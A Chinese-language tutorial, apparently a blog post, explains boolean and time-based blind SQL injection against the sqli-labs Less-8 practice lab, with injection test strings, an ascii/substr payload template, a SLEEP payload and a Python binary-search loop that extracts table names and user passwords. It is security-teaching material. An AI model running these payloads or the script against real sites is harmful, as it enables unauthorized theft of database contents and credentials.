前言
在真实的渗透测试环境中,SQL 注入并不总是"有回显"的理想场景。更多时候,开发者已经屏蔽了报错信息,页面看似风平浪静,却暗藏数据泄露的入口。此时,盲注技术便成为攻击者与数据库之间唯一的"对话方式"。
本文以经典靶场 sqli-labs Less-8 为切入点,深入解析布尔盲注的底层原理,并结合自动化脚本,讲清楚如何将"是/否判断"转化为高效的数据提取过程。同时,通过二分查找优化爆破效率,帮助读者从"理解原理"迈向"实战落地"。
文章目录
- 前言
- 什么是盲注?
- [靶场实战:sqli-labs Less-8](#靶场实战:sqli-labs Less-8)
-
- 第一步:判断注入点
- [第二步:理解关键 SQL 函数](#第二步:理解关键 SQL 函数)
- 两种爆破策略
- [脚本解析:`bool1.py` 布尔型二分查找盲注](#脚本解析:
bool1.py布尔型二分查找盲注) - 关于时间盲注(`timeblind.py`)
- 完整代码与靶场资源
- 小结
什么是盲注?
SQL 注入并非总是会回显数据库内容。当目标页面对查询结果"闷声不吭"------既不报错,也不显示任何数据------我们就进入了盲注的场景。布尔盲注(Boolean-based Blind SQLi) 正是利用页面在"正确"和"错误"两种状态下呈现不同内容这一特征,通过一问一答的方式,把数据库里的信息一位一位地"猜"出来。
这种方式很像猜谜游戏:你只能问"是/否"问题,服务器每次只告诉你对或错,但只要问题够精准,最终同样能拿到完整答案。
靶场实战:sqli-labs Less-8
第一步:判断注入点
Less-8 没有报错回显,但正确查询和错误查询时页面内容明显不同(一个显示"You are in...",另一个什么都没有)。利用这一差异,我们可以开始测试:
?id=1 → 正常页面
?id=1' → 异常(单引号闭合失败)
?id=1' --+ → 恢复正常(注释符生效)
?id=1' and 1--+ → 正常
?id=1' and 0--+ → 异常
条件成立页面正常、条件不成立页面异常,这就是布尔盲注的核心判断依据。
第二步:理解关键 SQL 函数
布尔盲注能够工作,离不开几个 MySQL 内置函数的配合:
| 函数 | 作用 | 示例 |
|---|---|---|
database() |
返回当前数据库名 | security |
length(database()) |
返回库名长度 | 8 |
substr(str, pos, len) |
截取字符串 | substr('security',1,1) → s |
ascii(char) |
字符转 ASCII 码 | ascii('s') → 115 |
把它们组合起来,就得到了盲注的核心 payload 模板:
sql
ascii(substr((select database()), {位置}, 1)) > {比较值}
这条语句问的是:"数据库名第 N 个字符的 ASCII 码是否大于某个值?"页面正常就是"是",页面异常就是"否"。
两种爆破策略
逐字符枚举(线性搜索)
最直觉的做法:从 ASCII 32(空格)到 127(~)逐个尝试,直到找到匹配字符。最坏情况需要 95 次请求才能确定一个字符,效率不高。
二分查找(推荐)
把搜索范围 [32, 128] 不断对半缩小。每次只需判断目标字符的 ASCII 码是否大于中间值,平均只需 7 次左右请求就能确定一个字符,效率提升显著。
这也正是脚本 bool1.py 采用的核心算法。
脚本解析:bool1.py 布尔型二分查找盲注
完整脚本已上传至 GitHub,这里重点解析其核心逻辑:
python
low, high = 32, 128
mid = (low + high) // 2
while low < high:
# 构造 payload,询问第 i 个字符的 ASCII 是否大于 mid
payload = payload2.format(i, mid)
r = requests.get(url + payload)
if "You are in..........." in r.text:
low = mid + 1 # 条件成立:ASCII 码更大,搜索范围上移
else:
high = mid # 条件不成立:搜索范围下移
mid = (low + high) // 2
当 low == high 时,mid 即为该位置字符对应的 ASCII 码,chr(mid) 转为字符后追加到结果字符串中。当 mid == 32(空格)时,说明当前位置已无更多字符,爆破完成。
脚本内置了四组 payload,分别用于爆破:
- 当前数据库名 ---
database() - 所有表名 ---
information_schema.tables - 指定表的字段名 ---
information_schema.columns - 字段数据(账号密码) --- 直接查
security.users
使用时只需取消对应 payload 行的注释,切换爆破目标即可。
关于时间盲注(timeblind.py)
当页面对正确和错误的响应完全相同 时,布尔盲注就失效了。此时可以转向时间盲注 :利用 IF(condition, SLEEP(3), 0) 让数据库"延迟响应",通过测量响应时间来判断条件真假。
sql
?id=1' AND IF(ascii(substr(database(),1,1))>100, SLEEP(3), 0) --+
脚本 timeblind.py 采用相同的二分策略,但判断依据从页面内容变为响应时间是否超过阈值。
完整代码与靶场资源
脚本 bool1.py 已开源至 GitHub,可配合 sqli-labs 靶场的 Less-8 等题目直接练习。
脚本源码: https://github.com/aqirompt/sqli-labs-bool
脚本源码
免责声明:上述技术仅用于授权环境下的安全学习与研究,请勿用于非法用途。
小结
布尔盲注的本质是把数据库查询转化为一系列是/否问题,再通过自动化脚本高效地完成"猜测"过程。掌握了二分查找的优化思路之后,爆破效率会大幅提升。理解原理是第一步,能够自己写出脚本才是真正的融会贯通。